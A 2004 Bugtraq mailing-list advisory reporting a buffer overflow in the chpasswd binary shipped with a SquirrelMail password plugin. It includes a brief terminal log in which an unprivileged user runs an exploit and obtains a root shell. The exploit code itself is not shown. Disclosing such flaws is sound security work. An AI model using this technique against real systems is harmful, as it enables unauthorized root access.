[34552] in bugtraq
Squirrelmail Chpasswod bof
daemon@ATHENA.MIT.EDU (Matias Neiff)
Sat Apr 17 15:28:00 2004
From: Matias Neiff <matias@neiff.com.ar>
To: bugtraq@securityfocus.com
Date: Sat, 17 Apr 2004 04:20:26 -0300
MIME-Version: 1.0
Content-Type: Text/Plain;
charset="us-ascii"
Content-Description: clearsigned data
Content-Disposition: inline
Message-Id: <200404170420.32857.matias@neiff.com.ar>
Content-Transfer-Encoding: 8bit
Hi all
There is a boffer over flow in the chpasswd binary, distributed with the
plugin. This allow to local's user to execute commands as a root.
---:::Prott:::---
root@orco:/mnt/hosting/hack/bof# su webmaster
webmaster@orco:/mnt/hosting/hack/bof$ ./exploit 166 5555 99999
Using address: 0xbfffe325
bash-2.05b$ ./chpasswd $RET asdf asdf
The new password is equal to old password. Choose another password.
sh-2.05b# id
uid=0(root) gid=3(sys) groups=500(webmaster)
sh-2.05b#
---:::end:::---
Bye all
